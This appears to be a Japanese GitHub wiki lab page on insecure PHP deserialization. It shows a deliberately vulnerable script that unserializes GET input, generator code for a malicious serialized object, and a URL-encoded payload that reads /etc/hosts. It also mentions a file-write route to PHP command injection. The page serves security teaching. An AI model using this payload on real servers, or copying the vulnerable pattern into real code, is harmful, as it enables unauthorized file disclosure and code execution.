安全でないデシリアライゼーション 02 - yujitounai/helloworld GitHub Wiki

安全でないデシリアライゼーション

__toString()も自動で書き換えられる

脆弱なソースコード (PHP)

<?php
class FileClass
{
  public $filename = 'error.log';
  public function __toString()
  {
    return file_get_contents($this->filename);
  }
}

$filename="test.txt";
$obj = new FileClass();
$obj->filename = $filename;

//シリアライズされたデータが渡される場合
$serializeddata = filter_input(INPUT_GET, 'serializeddata');
if (isset($serializeddata) && !empty($serializeddata)) {
  $obj = unserialize(urldecode($serializeddata));
}
echo $obj;
?>

攻撃方法

$obj = unserialize(urldecode($serializeddata));

なのでURLエンコードしたシリアライズデータを渡す

任意のファイル書き出しによるphpコマンドインジェクション(foo class)

class fooの$fileがファイル名$dataがファイルの内容として書き出されるので 好きなファイル名と書き出したいファイルの内容を設定する unserialize-01?session_filename=ファイル名 でファイルが書き出されるので書き出されたファイルにアクセスする

回答作成コード

動かすとシリアライズ&URLエンコードされたオブジェクトが表示されるのでこれを使う

<?php
class FileClass
{
  public $filename = '';
}

$filename="/etc/hosts";
$obj = new FileClass();
$obj->filename = $filename;
echo urlencode(serialize($obj));

任意のファイルを読み取る(FileClass)

unserialize-02.php?serializeddata=O%3A9%3A"FileClass"%3A1%3A{s%3A8%3A"filename"%3Bs%3A10%3A"%2Fetc%2Fhosts"%3B}